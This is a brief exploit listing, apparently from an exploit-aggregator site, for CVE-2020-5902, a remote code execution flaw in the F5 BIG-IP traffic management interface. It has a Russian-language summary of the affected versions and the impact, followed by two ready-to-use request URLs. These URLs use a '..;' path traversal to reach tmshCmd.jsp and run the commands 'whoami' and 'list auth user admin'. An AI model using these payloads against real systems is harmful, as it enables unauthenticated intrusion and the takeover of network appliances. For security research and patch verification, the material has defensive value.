Exploit for CVE-2020-5902

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MURATAYDEMIR-CVE-2020-5902
**[CVE-2020-5902] Удаленное выполнение кода в пользовательском интерфейсе управления трафиком (TMUI) F5 BIG-IP**

* * *

В версиях BIG-IP `15.0.0-15.1.0.3`, `14.1.0-14.1.2.5`, `13.1.0-13.1.3.3`, `12.1.0-12.1.5.1` и `11.6.1-11.6.5.1` в пользовательском интерфейсе управления трафиком (TMUI), также называемом утилитой конфигурации (Configuration utility), существует уязвимость удаленного выполнения кода (RCE) на нераскрытых страницах.

Эта уязвимость позволяет неавторизованным злоумышленникам или авторизованным пользователям, имеющим сетевой доступ к утилите конфигурации через управляющий порт BIG-IP и/или self IP-адреса, выполнять произвольные системные команды, создавать или удалять файлы, отключать службы и/или выполнять произвольный Java-код. Данная уязвимость может привести к полной компрометации системы. Система BIG-IP в режиме Appliance также уязвима. Эта проблема не затрагивает плоскость данных (data plane); затронута только плоскость управления (control plane).

root@kitploit:~
    
    
    https://{host}/tmui/login.jsp/..;/tmui/locallab/workspace/tmshCmd.jsp?command=whoami
    

root@kitploit:~
    
    
    https://{host}/tmui/login.jsp/..;/tmui/locallab/workspace/tmshCmd.jsp?command=list+auth+user+admin